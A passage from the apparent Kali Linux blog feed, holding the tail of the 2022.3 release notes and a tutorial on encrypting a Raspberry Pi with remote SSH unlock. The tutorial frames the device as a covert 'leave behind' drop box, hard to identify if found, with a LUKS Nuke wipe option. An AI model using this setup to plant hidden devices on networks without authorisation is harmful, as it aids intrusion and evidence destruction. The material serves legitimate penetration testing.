&lt;li>Termux-API = 51&lt;/li>
&lt;li>Termux-Styling = 29&lt;/li>
&lt;li>Termux-Tasker = 6&lt;/li>
&lt;li>Termux-Widget = 13&lt;/li>
&lt;li>Termux-Float = 15&lt;/li>
&lt;li>WiGLE WiFi Wardriving = 2.64&lt;/li>
&lt;/ul>
&lt;p>If you would like to get involved and help out with the development, or just like to chat to like-minded Android tinkerers, why don&amp;rsquo;t you join us in the NetHunter channels on our &lt;a href="https://discord.kali.org/">new Discord server&lt;/a>? We&amp;rsquo;d love to see you around!&lt;/p>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;ul>
&lt;li>All Raspberry Pi devices have had their kernel upgraded to 5.15.&lt;/li>
&lt;li>Created &lt;a href="https://arm.kali.org/">arm.kali.org&lt;/a> to have a overview and statistics for &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">kali-arm&lt;/a> &lt;em>(very similar to &lt;a href="https://nethunter.kali.org/">nethunter.kali.org&lt;/a>)&lt;/em>.&lt;/li>
&lt;li>Every Kali ARM device has had their default size for the boot partition set to 256 MB.&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/pinebook/">Pinebook&lt;/a> has had the broken sleep modes removed, so it should no longer go to sleep and be unable to wake up.&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/usb-armory-mkii/">USBArmory MKII&lt;/a> moved to the 2022.04 u-boot release.&lt;/li>
&lt;/ul>
&lt;h2 id="kali-documentation-updates">Kali Documentation Updates&lt;/h2>
&lt;p>There has been a number of new pages added to our kali-docs sub section, as well as numerous updates to existing pages, keeping them up-to-date as well as adding more details.
A summary of the new pages added:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/radxa-zero-emmc/">Radxa Zero (eMMC)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/radxa-zero-sdcard/">Radxa Zero (sdcard)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/raspberry-pi-zero-w-p4wnp1-aloa/">Raspberry Pi Zero W P4wnP1 A.L.O.A (A Little Offensive Application)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/cloud/linode/">Linode&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/containers/using-kali-podman-images/">Using Kali Linux Podman Images&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/installation/barebone-kali/">Bare-bones Kali&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/troubleshooting/download-speed-issues/">Discovering Problems With Download Speed&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/troubleshooting/no-sound/">No sound on Kali 2022.2&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/usb/boot-usb-in-virtualbox/">USB Boot in VirtualBox&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/import-premade-virtualbox/">Import Pre-Made Kali VirtualBox VM&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/import-premade-vmware/">Import Pre-Made Kali VMware VM&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/improving-vm-performance-vmware/">Improving Virtual Machine Performance for VMware&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-hyper-v-guest-vm/">Kali inside Hyper-V (Guest VM)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-qemu-guest-vm/">Kali inside QEMU/LibVirt with virt-manager (Guest VM)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-utm-guest-vm/">Kali inside UTM (Guest VM)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-vagrant-guest-vm/">Kali inside Vagrant (Guest VM)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-vmware-silicon-host/">Installing VMware on Apple Silicon (M1/M2) Macs (Host)&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="kali-tools-documentation">Kali Tools Documentation&lt;/h3>
&lt;p>A little off-topic, but also worth mentioning. Kali-docs is our documentation of Kali as an operating system. Kali-tools is our documentation for the tools inside of Kali.
We have also opened up the &lt;a href="https://gitlab.com/kalilinux/documentation/kali-tools">kali-tools repository&lt;/a>, allowing for community contributions as well.&lt;/p>
&lt;p>We will be updating this on a frequent basis. But you can help speed this up! Our goal is to have general information about every tool, as well as examples of the tool being used, and how to use the tool. &lt;strong>If you want to get involved with Kali Linux, this is a great way to&lt;/strong>!&lt;/p>
&lt;p>We are after any media format possible, &lt;strong>text, images, and videos&lt;/strong> (&lt;a href="https://asciinema.org/">asciinema&lt;/a> is our preferred option for videos rather than Vimeo/YouTube).&lt;/p>
&lt;p>&lt;em>Please note, if there is too much &amp;ldquo;self-promotion&amp;rdquo;, submissions will be declined.&lt;/em>&lt;/p>
&lt;h2 id="kali-blog-recap">Kali Blog Recap&lt;/h2>
&lt;p>In case you missed our recent &lt;a href="https://www.kali.org/blog/">blog posts&lt;/a>, here&amp;rsquo;s what you missed:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-and-linode/">Kali Linux in Linode&amp;rsquo;s Cloud&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/">Secure Kali Pi (2022)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/kali-vm-builder-weekly/">Weekly Virtual Machines, with Build Scripts&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;em>If you would like them straight to your e-mail inbox, sign up to the &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a>.&lt;/em>&lt;/p>
&lt;h2 id="community-shout-outs">Community Shout-Outs&lt;/h2>
&lt;p>In this last quarter, there have been multiple contributions from a number of people (the joy of &lt;a href="https://www.kali.org/docs/policy/kali-linux-open-source-policy/">Kali Linux being open-source&lt;/a>). We do thank you guys! A few of these people&amp;rsquo;s actions have helped make a significant improvement to Kali, so we want to call them out:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://blog.cloudflare.com/cloudflare-repositories-ftw/">Cloudflare&lt;/a>&amp;rsquo;s Jade Wang who has been working on some behind the scene stuff for us&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/fastlorenzo">Lorenzo Bernardi&lt;/a> for helping with Azure &lt;em>(Yes, it&amp;rsquo;s coming back soon&amp;hellip;)&lt;/em>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/markeganfuller">Mark Egan-Fuller&lt;/a> and &lt;a href="https://gitlab.com/elreydetoda">elrey (alex)&lt;/a> for helping get a QEMU Vagrant image building - go &lt;a href="https://app.vagrantup.com/kalilinux/boxes/rolling">check it out&lt;/a>!&lt;/li>
&lt;/ul>
&lt;p>Anyone can help out, anyone can get &lt;a href="https://www.kali.org/docs/community/contribute/">involved&lt;/a>! And, in case you didn&amp;rsquo;t know, you can always follow how Kali is going by checking out the &lt;a href="https://gitlab.com/groups/kalilinux/-/activity">activity&lt;/a> page of our GitLab!&lt;/p>
&lt;hr>
&lt;h2 id="get-kali-linux-20223">Get Kali Linux 2022.3&lt;/h2>
&lt;p>&lt;strong>Fresh Images&lt;/strong>:
So what are you waiting for? Go &lt;a href="https://www.kali.org/get-kali/">get Kali&lt;/a> already!&lt;/p>
&lt;p>Seasoned Kali Linux users are already aware of this, but for the ones who are not, we do also produce &lt;strong>&lt;a href="https://cdimage.kali.org/kali-images/kali-weekly/">weekly builds&lt;/a>&lt;/strong> that you can use as well. If you cannot wait for our next release and you want the latest packages &lt;em>(or bug fixes)&lt;/em> when you download the image, you can just use the weekly image instead.
This way you will have fewer updates to do.
&lt;em>Just know that these are automated builds that we do not QA like we do our standard &lt;a href="https://www.kali.org/releases/">release images&lt;/a>&lt;/em>. But we gladly take &lt;a href="https://bugs.kali.org/">bug reports&lt;/a> about those images because we want any issues to be fixed before our next release!&lt;/p>
&lt;p>&lt;strong>Existing Installs&lt;/strong>:
If you already have an existing Kali Linux installation, remember you can always do a quick &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">update&lt;/a>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ echo &amp;quot;deb http://http.kali.org/kali kali-rolling main contrib non-free&amp;quot; | sudo tee /etc/apt/sources.list
┌──(kali㉿kali)-[~]
└─$ sudo apt update &amp;amp;&amp;amp; sudo apt -y full-upgrade
┌──(kali㉿kali)-[~]
└─$ cp -rbi /etc/skel/. ~
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] &amp;amp;&amp;amp; sudo reboot -f
&lt;/code>&lt;/pre>
&lt;p>You should now be on Kali Linux 2022.3 We can do a quick check by doing:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION=&amp;quot;2022.3&amp;quot;
VERSION_ID=&amp;quot;2022.3&amp;quot;
VERSION_CODENAME=&amp;quot;kali-rolling&amp;quot;
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07)
┌──(kali㉿kali)-[~]
└─$ uname -r
5.18.0-kali5-amd64
&lt;/code>&lt;/pre>
&lt;p>&lt;em>NOTE: The output of &lt;code>uname -r&lt;/code> may be different depending on the system &lt;a href="https://pkg.kali.org/pkg/linux">architecture&lt;/a>.&lt;/em>&lt;/p>
&lt;p>As always, should you come across any bugs in Kali, please submit a report on our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>. &lt;em>We will never be able to fix what we do not know is broken!&lt;/em> &lt;strong>And &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a> is not a Bug Tracker!&lt;/strong>&lt;/p>
&lt;p>Want to keep in up-to-date easier? We have a &lt;a href="https://www.kali.org/rss.xml">RSS feeds&lt;/a> and &lt;a href="https://www.kali.org/newsletter/">newsletter&lt;/a> of our &lt;a href="https://www.kali.org/blog/">blog&lt;/a>!&lt;/p></description></item><item><title>Secure Kali Pi (2022)</title><link>https://www.kali.org/blog/secure-kali-raspberry-pi/</link><guid isPermaLink="true">https://www.kali.org/blog/secure-kali-raspberry-pi/</guid><pubDate>Tue, 02 Aug 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/secure-kali-raspberry-pi/images/secure-kali-pi-2022-banner.jpg" type="image/jpg"/><description>&lt;p>This is the first part of a 3 part series of blog posts surrounding Kali usage on Raspberry Pi devices. This first post will cover enabling Full Disk Encryption (FDE) on a Raspberry Pi, part two will cover remotely connecting to it, and finally, part three will cover debugging issues we ran into while making these posts, so others can learn how to do so as well.&lt;/p>
&lt;hr>
&lt;p>With everything that has been going on in the world in the last few years, more people are working remotely. We are no exception to this, and today, we are going to be revisiting our &amp;ldquo;drop box&amp;rdquo; machine, which has been encrypted thus making it harder to identify &lt;em>if discovered&lt;/em>.&lt;/p>
&lt;p>The goal is to create a stand-alone &amp;ldquo;leave behind&amp;rdquo; &lt;strong>headless&lt;/strong> device that, that if/when discovered, does not make it easy to figure out what we were doing as &lt;strong>our data is secure&lt;/strong> at all times. To accomplish this, we will use Full Disk Encryption (FDE), and allow for it to be &lt;strong>remotely unlocked&lt;/strong> (should the device get restarted for any reason). There will be the option as well to use &lt;a href="https://www.kali.org/blog/nuke-kali-linux-luks/">&lt;strong>LUKS Nuke&lt;/strong>&lt;/a> capability should we wish to make the disk inaccessible at any point after we are done with it.
We will be doing this on a &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-4/">Raspberry Pi 4 Model B+&lt;/a>, but it also has been tested on a &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-3/">Raspberry Pi 3 Model B&lt;/a> as well. &lt;em>You should be able to use most makes/models of similar devices, it may just require a bit of creative adaptations/adjustments in order to secure your own system.&lt;/em>&lt;/p>
&lt;p>This is an updated process as we have &lt;a href="https://www.kali.org/blog/secure-kali-pi-2018/">previously covered&lt;/a> part of this before. This time we include additional developments, with some community contributions thrown in. We would like to give a shout-out to Richard Nelson (&lt;a href="https://github.com/unixabg">@unixabg&lt;/a>) for his &lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/#automate">automated script&lt;/a>. We will touch on this after going through the manual method, as we always recommend you understand what is going on under the hood.&lt;/p>
&lt;hr>
&lt;h2 id="higher-level-overview">Higher-level overview&lt;/h2>
&lt;p>Before we dive into the lower-levels of technical details of what we are going to accomplish, let&amp;rsquo;s take a quick look at our goals that we want to achieve, and break it down:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/#installing-kali-linux-on-a-rpi">Install Kali Linux&lt;/a> on a &lt;a href="https://www.kali.org/docs/arm/raspberry-pi-4/">Raspberry Pi 4&lt;/a> (henceforth called &amp;ldquo;RPi&amp;rdquo;)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/#preparing-the-system">Prepare the system&lt;/a> for encrypted boot ready for remote disk unlock&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/#configuring-remote-ssh-unlock">Setup SSH keys&lt;/a> to allow the remote unlock to occur (using initramfs and Dropbear)&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/#backup-any-existing-data">Backup&lt;/a> any existing data&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/#configuring-for-encryption">Configure&lt;/a> the encrypted partitions&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/blog/secure-kali-raspberry-pi/#restore-our-data">Restore&lt;/a> our data&lt;/li>
&lt;li>&lt;strong>Hack away&lt;/strong>!&lt;/li>
&lt;/ul>
&lt;p>This might sound like a lot, but it&amp;rsquo;s rather straightforward even if there are a fair few steps. Once completed, we will have a RPi that will:&lt;/p>
&lt;ul>
&lt;li>Boot&lt;/li>
&lt;li>Get an IP from DHCP&lt;/li>
&lt;li>Wait for us to connect via SSH using keys&lt;/li>
&lt;li>Allow us to provide either the LUKS unlock, or LUKS Nuke passphrases&lt;/li>
&lt;/ul>
&lt;p>Then down the road when we are done with whatever it is we are wanting to do, the only thing left is to retrieve it &amp;hellip;at our leisure!&lt;/p>
&lt;hr>
&lt;h2 id="installing-kali-linux-on-a-rpi">Installing Kali Linux on a RPi&lt;/h2>
&lt;div class="notices info">
&lt;p data-header="Info">
If you&amp;rsquo;re following along, be sure to know where you are imaging the file to, and replace &lt;code>/dev/sdX&lt;/code>. Don&amp;rsquo;t blindly copy/paste!
&lt;/p>
&lt;/div>
&lt;p>We will be creating our drop box machine on an existing Kali installation. It should be very easy to use other Debian-based distributions, and pretty straight forward for other OSes (except Windows users!)&lt;/p>
&lt;p>We first will &lt;a href="https://www.kali.org/get-kali/#kali-arm">download&lt;/a> the &lt;a href="https://www.kali.org/releases/">latest stable&lt;/a> Kali RPi image. At the time of writing, that&amp;rsquo;s &lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/">Kali 2022.2&lt;/a>.
We have also chosen the 64-bit image, as we have more than 4GB of RAM, and are not using any &lt;a href="https://www.raspberrypi.com/news/introducing-raspberry-pi-hats/">HATs&lt;/a> (Hardware Attached on Top). The steps for 32-bit would be the same, after adjusting filenames:&lt;/p>
&lt;pre>&lt;code class="language-console">$ wget https://kali.download/arm-images/kali-2022.2/kali-linux-2022.2-raspberry-pi-arm64.img.xz
$ xzcat kali-linux-2022.2-raspberry-pi-arm64.img.xz | sudo dd of=/dev/sdX bs=512k status=progress
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h2 id="preparing-the-system">Preparing the system&lt;/h2>
&lt;h3 id="preparing-the-chroot">Preparing the chroot&lt;/h3>
&lt;p>We next are going to get things ready for a chroot. Let&amp;rsquo;s create where we want to mount the microSD card, then mount it:&lt;/p>
&lt;pre>&lt;code class="language-console">$ sudo mkdir -vp /mnt/chroot/
$ sudo mount /dev/sdX2 /mnt/chroot/
$ sudo mount /dev/sdX1 /mnt/chroot/boot/
$ sudo mount -t proc none /mnt/chroot/proc
$ sudo mount -t sysfs none /mnt/chroot/sys
$ sudo mount -o bind /dev /mnt/chroot/dev
$ sudo mount -o bind /dev/pts /mnt/chroot/dev/pts
$ sudo apt install -y qemu-user-static
$ sudo cp /usr/bin/qemu-aarch64-static /mnt/chroot/usr/bin/
&lt;/code>&lt;/pre>
&lt;p>The last two commands will come in handy ready for initramfs later.&lt;/p>
&lt;hr>
&lt;h3 id="installing-required-packages">Installing required packages&lt;/h3>
&lt;p>Now that our system is set up we can use the chroot to set up the RPi image for encryption. Let&amp;rsquo;s first enter the chroot and install some necessary packages:&lt;/p>
&lt;pre>&lt;code class="language-console">$ sudo env LANG=C chroot /mnt/chroot/
┌──(root㉿kali)-[/]
└─# apt update
┌──(root㉿kali)-[/]
└─# apt install -y busybox cryptsetup dropbear-initramfs lvm2
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>We want to ensure we are on the latest kernel before we get started, so lets also make sure we have them installed:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# apt install -y kalipi-kernel kalipi-bootloader kalipi-re4son-firmware
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h3 id="boot-options">Boot options&lt;/h3>
&lt;p>Next we are going to edit &lt;code>/boot/cmdline.txt&lt;/code> and change the root path. The &lt;code>/boot/cmdline.txt&lt;/code> file on a RPi device is used to pass the kernel command line options. We will want to change the root path to be &lt;code>/dev/mapper/crypt&lt;/code>, and then we will add in &lt;code>cryptdevice=PARTUUID=$partuuid:crypt&lt;/code> right after that.&lt;/p>
&lt;p>The reason for this is that the kernel needs to know where the root filesystem is, in order to mount it and use it, and since we are encrypting the rootfs later in the post, during boot time it can&amp;rsquo;t see the unencrypted device either, because of the encryption! While we are changing the name here to &amp;ldquo;crypt&amp;rdquo;, you can call it anything you want.&lt;/p>
&lt;p>The end result should look like this:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# vim /boot/cmdline.txt
┌──(root㉿kali)-[/]
└─# cat /boot/cmdline.txt
dwc_otg.fiq_fix_enable=2 console=serial0,115200 kgdboc=serial0,115200 console=tty1 root=/dev/mapper/crypt cryptdevice=PARTUUID=ed889dad-02:crypt rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h3 id="partition-layout">Partition layout&lt;/h3>
&lt;p>We now need to update the &lt;code>/etc/fstab&lt;/code> file, this is a configuration file on the system that contains all available disks, disk partitions, and what options to use when handling them.&lt;/p>
&lt;p>Currently it is populated with the UUID of the root filesystem, and we need it to point at the encrypted filesystem that we will be making. In this example, we&amp;rsquo;ve commented out what the previous root device&amp;rsquo;s UUID, and point at &lt;code>/dev/mapper/crypt&lt;/code> which is what our encrypted filesystem will mount as, once we create it:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# vim /etc/fstab
┌──(root㉿kali)-[/]
└─# cat /etc/fstab
# &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt; &amp;lt;type&amp;gt; &amp;lt;options&amp;gt; &amp;lt;dump&amp;gt; &amp;lt;pass&amp;gt;
proc /proc proc defaults 0 0
/dev/mapper/crypt / ext4 errors=remount-ro 0 0
#UUID=747bfa7c-edd2-471f-8fff-0ecafc2d3791 / ext4 errors=remount-ro 0 1
LABEL=BOOT /boot vfat defaults 0 2
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h3 id="configure-the-encrypted-partitions">Configure the encrypted partitions&lt;/h3>
&lt;p>When using encrypted partitions, we need to edit, or create, if it doesn&amp;rsquo;t exist, the &lt;code>/etc/crypttab&lt;/code> file, which is used by cryptsetup to know what options are needed in order to unlock the encrypted device.&lt;/p>
&lt;p>Because this file doesn&amp;rsquo;t exist, we will create the &lt;code>/etc/crypttab&lt;/code> file, and fill it with the options we need:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# echo -e 'crypt\tPARTUUID=ed889dad-02\tnone\tluks' &amp;gt; /etc/crypttab
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now we do a little file-system trickery. We create a fake LUKS file-system which will allow cryptsetup to be included in the initramfs because it sees an encrypted partition. When you format any LUKS partitions, you will be prompted for a password, and while normally you will use a strong password, because we are only using this as a hack to include cryptsetup into our initramfs, the password you create at this prompt will not be needed or used past these steps, so you can set it to something short/quick to type. This will happen at the &lt;code>cryptsetup luksFormat&lt;/code> step, and you will be prompted for the password you set during &lt;code>cryptsetup luksFormat&lt;/code> when you run the &lt;code>cryptsetup luksOpen&lt;/code> step.&lt;/p>
&lt;div class="notices info">
&lt;p data-header="Info">
You will not see any input being typed when entering the password
&lt;/p>
&lt;/div>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# dd if=/dev/zero of=/tmp/fakeroot.img bs=1M count=20
┌──(root㉿kali)-[/]
└─# exit
$ sudo cryptsetup luksFormat /mnt/chroot/tmp/fakeroot.img
$ sudo cryptsetup luksOpen /mnt/chroot/tmp/fakeroot.img crypt
$ sudo mkfs.ext4 /dev/mapper/crypt
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h3 id="configuring-ssh-keys">Configuring SSH keys&lt;/h3>
&lt;p>After that we need to copy over OR generate a new ssh key to be added to Dropbear&amp;rsquo;s &lt;code>authorized_keys&lt;/code> file.&lt;/p>
&lt;p>If we already have an existing key to copy over:&lt;/p>
&lt;pre>&lt;code class="language-console">$ sudo cp ~/.ssh/id_rsa.pub /mnt/chroot/
&lt;/code>&lt;/pre>
&lt;p>Alternatively to generate a new key:&lt;/p>
&lt;pre>&lt;code class="language-console">$ ssh-keygen -t rsa -b 4096
[...]
Enter file in which to save the key (/home/kali/.ssh/id_rsa): /home/kali/.ssh/id_rsa_dropbear
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/kali/.ssh/id_rsa_dropbear
Your public key has been saved in /home/kali/.ssh/id_rsa_dropbear.pub
[...]
$ sudo cp ~/.ssh/id_rsa_dropbear.pub /mnt/chroot/
&lt;/code>&lt;/pre>
&lt;div class="notices info">
&lt;p data-header="Info">
You will not see any input being typed when entering a passphrase
&lt;/p>
&lt;/div>
&lt;hr>
&lt;h3 id="configuring-for-encryption">Configuring for encryption&lt;/h3>
&lt;p>Going back into the chroot, we need to create a few new files.&lt;/p>
&lt;p>First is the &lt;code>zz-cryptsetup&lt;/code> hook which adds the files we need for &lt;code>cryptsetup&lt;/code> into the &lt;code>initramfs&lt;/code>. For it to work, it needs to be marked as executable so that &lt;code>mkinitramfs&lt;/code> will run the hook:&lt;/p>
&lt;pre>&lt;code class="language-console">$ sudo env LANG=C chroot /mnt/chroot/
┌──(root㉿kali)-[/]
└─# vim /etc/initramfs-tools/hooks/zz-cryptsetup
┌──(root㉿kali)-[/]
└─# cat /etc/initramfs-tools/hooks/zz-cryptsetup
#!/bin/sh
set -e
PREREQ=&amp;quot;&amp;quot;
prereqs()
{
echo &amp;quot;${PREREQ}&amp;quot;
}
case &amp;quot;${1}&amp;quot; in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
mkdir -p ${DESTDIR}/cryptroot || true
cat /etc/crypttab &amp;gt;&amp;gt; ${DESTDIR}/cryptroot/crypttab
cat /etc/fstab &amp;gt;&amp;gt; ${DESTDIR}/cryptroot/fstab
cat /etc/crypttab &amp;gt;&amp;gt; ${DESTDIR}/etc/crypttab
cat /etc/fstab &amp;gt;&amp;gt; ${DESTDIR}/etc/fstab
copy_file config /etc/initramfs-tools/unlock.sh /etc/unlock.sh
┌──(root㉿kali)-[/]
└─# chmod +x /etc/initramfs-tools/hooks/zz-cryptsetup
&lt;/code>&lt;/pre>
&lt;p>&lt;em>Should you wish to disable it at any point in the future for any reason, simply remove the executable bit.&lt;/em>&lt;/p>
&lt;hr>
&lt;p>We edit the modules file for &lt;code>initramfs-tools&lt;/code> so that we include the &lt;code>dm-crypt&lt;/code> module, and cat the file to verify it is correct:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# grep -q dm_crypt /etc/initramfs-tools/modules || echo dm_crypt &amp;gt;&amp;gt; /etc/initramfs-tools/modules
┌──(root㉿kali)-[/]
└─# cat /etc/initramfs-tools/modules
# List of modules that you want to include in your initramfs.
# They will be loaded at boot time in the order below.
#
# Syntax: module_name [args ...]
#
# You must run update-initramfs(8) to effect this change.
#
# Examples:
#
# raid1
# sd_mod
dm_crypt
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h3 id="configuring-remote-ssh-unlock">Configuring remote SSH unlock&lt;/h3>
&lt;p>Create an &lt;code>unlock.sh&lt;/code> script with the following contents, and then mark it as executable so that the script runs in the &lt;code>initramfs&lt;/code>:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# vim /etc/initramfs-tools/unlock.sh
┌──(root㉿kali)-[/]
└─# cat /etc/initramfs-tools/unlock.sh
#!/bin/sh
export PATH='/sbin:/bin:/usr/sbin:/usr/bin'
while true; do
test -e /dev/mapper/crypt &amp;amp;&amp;amp; break || cryptsetup luksOpen /dev/disk/by-uuid/$REPLACE_LATER crypt
done
/scripts/local-top/cryptroot
for i in $(ps aux | grep 'cryptroot' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep 'askpass' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep 'ask-for-password' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
for i in $(ps aux | grep '\\-sh' | grep -v 'grep' | awk '{print $1}'); do kill -9 $i; done
exit 0
┌──(root㉿kali)-[/]
└─# chmod +x /etc/initramfs-tools/unlock.sh
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Next we must add the following to the beginning of &lt;code>/etc/dropbear/initramfs/authorized_keys&lt;/code>, which tells it to run this command when we SSH in if the key matches:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# vim /etc/dropbear/initramfs/authorized_keys
┌──(root㉿kali)-[/]
└─# cat /etc/dropbear/initramfs/authorized_keys
command=&amp;quot;/etc/unlock.sh; exit&amp;quot;
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>After doing so, we can append the SSH key that we copied over and then remove it from the card:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# cat id_rsa.pub &amp;gt;&amp;gt; /etc/dropbear/initramfs/authorized_keys &amp;amp;&amp;amp; rm -v id_rsa.pub
&lt;/code>&lt;/pre>
&lt;p>Once you&amp;rsquo;re done, &lt;code>/etc/dropbear/initramfs/authorized_keys&lt;/code> should look like this:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# cat /etc/dropbear/initramfs/authorized_keys
command=&amp;quot;/etc/unlock.sh; exit&amp;quot; ssh-rsa &amp;lt;key&amp;gt; kali@kali
&lt;/code>&lt;/pre>
&lt;p>Everything in the &lt;code>authorized_keys&lt;/code> file should be one line, as well as a space between the command&amp;rsquo;s ending &lt;code>&amp;quot;&lt;/code> and the ssh key (e.g. &lt;code>[...]exit&amp;quot; ssh-rsa[...]&lt;/code>)&lt;/p>
&lt;hr>
&lt;p>We now need to edit &lt;code>/usr/share/initramfs-tools/scripts/init-premount/dropbear&lt;/code> to add a sleep timer, this allows for networking to start &lt;em>before&lt;/em> Dropbear does. It is important to note that when there are updates to the &lt;code>dropbear-initramfs&lt;/code> package, this edit will need to be re-added:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# vim /usr/share/initramfs-tools/scripts/init-premount/dropbear
┌──(root㉿kali)-[/]
└─# cat /usr/share/initramfs-tools/scripts/init-premount/dropbear
[ &amp;quot;$BOOT&amp;quot; != nfs ] || configure_networking
sleep 5
run_dropbear &amp;amp;
echo $! &amp;gt;/run/dropbear.pid
&lt;/code>&lt;/pre>
&lt;hr>
&lt;p>Now we enable cryptsetup:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(root㉿kali)-[/]
└─# echo CRYPTSETUP=y &amp;gt;&amp;gt; /etc/cryptsetup-initramfs/conf-hook
┌──(root㉿kali)-[/]
└─# tail /etc/cryptsetup-initramfs/conf-hook
#
# Whether to include the askpass binary to the initramfs image. askpass
# is required for interactive passphrase prompts, and ASKPASS=y (the
# default) is implied when the hook detects that same device needs to be
# unlocked interactively (i.e., not via keyfile nor keyscript) at
# initramfs stage. Setting ASKPASS=n also skips `cryptroot-unlock`
# inclusion as it requires the askpass executable.
#ASKPASS=y
CRYPTSETUP=y
&lt;/code>&lt;/pre>
&lt;hr>
&lt;h3 id="kernel">Kernel&lt;/h3>
&lt;p>The next step is important for the people who are following along. What to select, depends on the RPi device you are using, will . Below are five kernel names/editions/flavours which you need to select one of for your needs &lt;em>(please pay attention!)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;code>Re4son+&lt;/code> is for 32-bit ARMEL armv6 devices - i.e. RPi1, RPi0, or RPi0w&lt;/li>
&lt;li>&lt;code>Re4son-v7+&lt;/code> is for 32-bit ARMHF armv7 devices - i.e. RPi2 v1.2, RPi3 or RPi02w&lt;/li>
&lt;li>&lt;code>Re4son-v8+&lt;/code> is for 64-bit ARM64 armv8 devices - i.e. RPi2 v1.2, RPi3 or RPi02w&lt;/li>
